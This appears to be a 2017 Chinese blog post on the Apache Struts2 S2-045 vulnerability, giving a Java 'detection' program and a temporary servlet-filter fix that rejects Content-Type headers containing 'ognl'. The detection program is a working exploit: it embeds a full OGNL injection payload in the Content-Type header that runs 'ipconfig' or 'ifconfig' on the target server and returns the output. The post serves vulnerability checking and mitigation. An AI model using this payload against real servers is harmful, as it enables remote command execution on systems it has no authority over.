struts2 s2-045漏洞检测 &临时解决方案

2017-03-09服务器
1539

struts2 漏洞检测代码      (文件上传代码和 exce命令来均自网络 懒得自己写)
  
  public static String upload(String url,String filePath){
       String fdfsPath = "";
       try {


           DefaultHttpClient httpclient = new DefaultHttpClient();
           HttpPost httppost = new HttpPost(url);
           File file = new File(filePath);
           String name = file.getName();
           InputStream in = new FileInputStream(file);
           MultipartEntity reqEntity = new MultipartEntity();
           InputStreamBody inputStreamBody = new InputStreamBody(in,name);
           StringBody fileNam = new StringBody(name);
           StringBody dateFlag = new StringBody("20160122152301");
           StringBody datumType = new StringBody("0");
           StringBody uploadWay = new StringBody("0");
           StringBody userId = new StringBody("0538");
           StringBody tenderId = new StringBody("2315");
           StringBody metrialsType = new StringBody("25");
           StringBody ip = new StringBody("0.0.0.1");
           StringBody driverName = new StringBody("huawei");
           StringBody systemVersion = new StringBody("djf");
           StringBody position = new StringBody("信息路38",  Charset.forName("utf8")); 
           reqEntity.addPart("datums", inputStreamBody);
           reqEntity.addPart("fileName", fileNam);
           reqEntity.addPart("dateFlag", dateFlag);
           reqEntity.addPart("datumType", datumType);
           reqEntity.addPart("uploadWay", uploadWay);
           reqEntity.addPart("userId", userId);
           reqEntity.addPart("tenderId", tenderId);
           reqEntity.addPart("metrialsType", metrialsType);
           reqEntity.addPart("ip", ip);
           reqEntity.addPart("driverName", driverName);
           reqEntity.addPart("systemVersion", systemVersion);
           reqEntity.addPart("position", position);  
   //linux
          // httppost.addHeader("Content-Type", "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"); 
            //windows
   httppost.addHeader("Content-Type", "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"); 
           httppost.addHeader("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36");
           HttpResponse response = httpclient.execute(httppost);
           int statusCode = response.getStatusLine().getStatusCode();


           if(statusCode == HttpStatus.SC_OK){


               System.out.println("服务器正常响应.....");


               HttpEntity resEntity = response.getEntity();
               System.out.println(EntityUtils.toString(resEntity));//httpclient自带的工具类读取返回数据


               System.out.println(resEntity.getContent());


               EntityUtils.consume(resEntity);
           }else{
             System.out.println(HttpStatus.getStatusText(statusCode));
           }
       } catch (Exception e) {
           e.printStackTrace();
       }
       System.out.println("结束....");
       return "";
   }


 
public static void main(String args[]) throws IOException {
System.out.println("开始....");
upload("http://www.xxx.cn/website/index.do","E:\\www\\index.txt"); 
}

------------------------------------------------------------------------------------------------
临时解决办法
ForbiddenAccessFilter.java


public class ForbiddenAccessFilter extends OncePerRequestFilter { 


protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
FilterChain chain) throws ServletException, IOException {
String contentType=request.getContentType();
if(contentType!=null&&contentType.indexOf("ognl")!=-1){ 
System.out.println(contentType);
return;
}else{  
chain.doFilter(request, response);
}
}
 
}


web.xml 配置
<filter>
<filter-name>forbiddenAccessFilter</filter-name>
<filter-class>com.ahtec.webapp.filters.ForbiddenAccessFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>forbiddenAccessFilter</filter-name>
<url-pattern>/*</url-pattern>

</filter-mapping>

The End

相关推荐

Druid未授权访问漏洞怎么修复?
漏洞描述 Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。 修复方案 修改中间件配置,给...
2025-07-29 服务器
105

ECShop 远程代码执行高危漏洞
漏洞描述: ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行。攻击者无需登录站点等操作,直接可以利用漏洞获取服务器权限,危害严重。 漏洞评级: 严重 影响范围: ECShop全系列版本,包括2.x,3.0.x,3.6.x等 安...
2018-09-01 服务器
188

IIS服务器多站点 的 https证书使用443端口 解决方案
默认情况一个服务器的 IIS 只能绑定一个HTTPS也就是443端口 要实现多个站点对应HTTPS只能更改IIS配置 首先把每个站点分配个不同端口,如443.444.445(证书一定要是多域的) 然后重启站点 方法一: 然后在: C:\Windows\system32\inetsrv\config\applicationH...
2017-07-03 服务器
311

iis 6.0设置实现http转向 https的解决方案
在网上找了好多资料都没找到,无意当中找的了一片文章(国外的网站)帮我解决了问题,因此想与大家分享。 首先错误信息(见图一): 图一 解决方法: 一、验证SSL需要选中的网站(见图二) 1、首先打开所要修改的网站然后右击选择属性 2、选择目录安全性--在...
2017-06-21 服务器
126

php.ini修改php上传文件大小限制的方法详解
打开php.ini,首先找到 file_uploads = on ;是否允许通过HTTP上传文件的开关。默认为ON即是开 upload_tmp_dir ;文件上传至服务器上存储临时文件的地方,如果没指定就会用系统默认的临时文件夹 upload_max_filesize = 8m ;望文生意,即允许上传文件大小的最大...
2017-05-19 服务器
99

Memcached服务安全加固
漏洞描述: Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以开放在外网的Memcache服务很容易被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。 修复方案: 因Memcached无权限控制功能,所以需要用户对访问来源进...
2017-05-18 服务器
185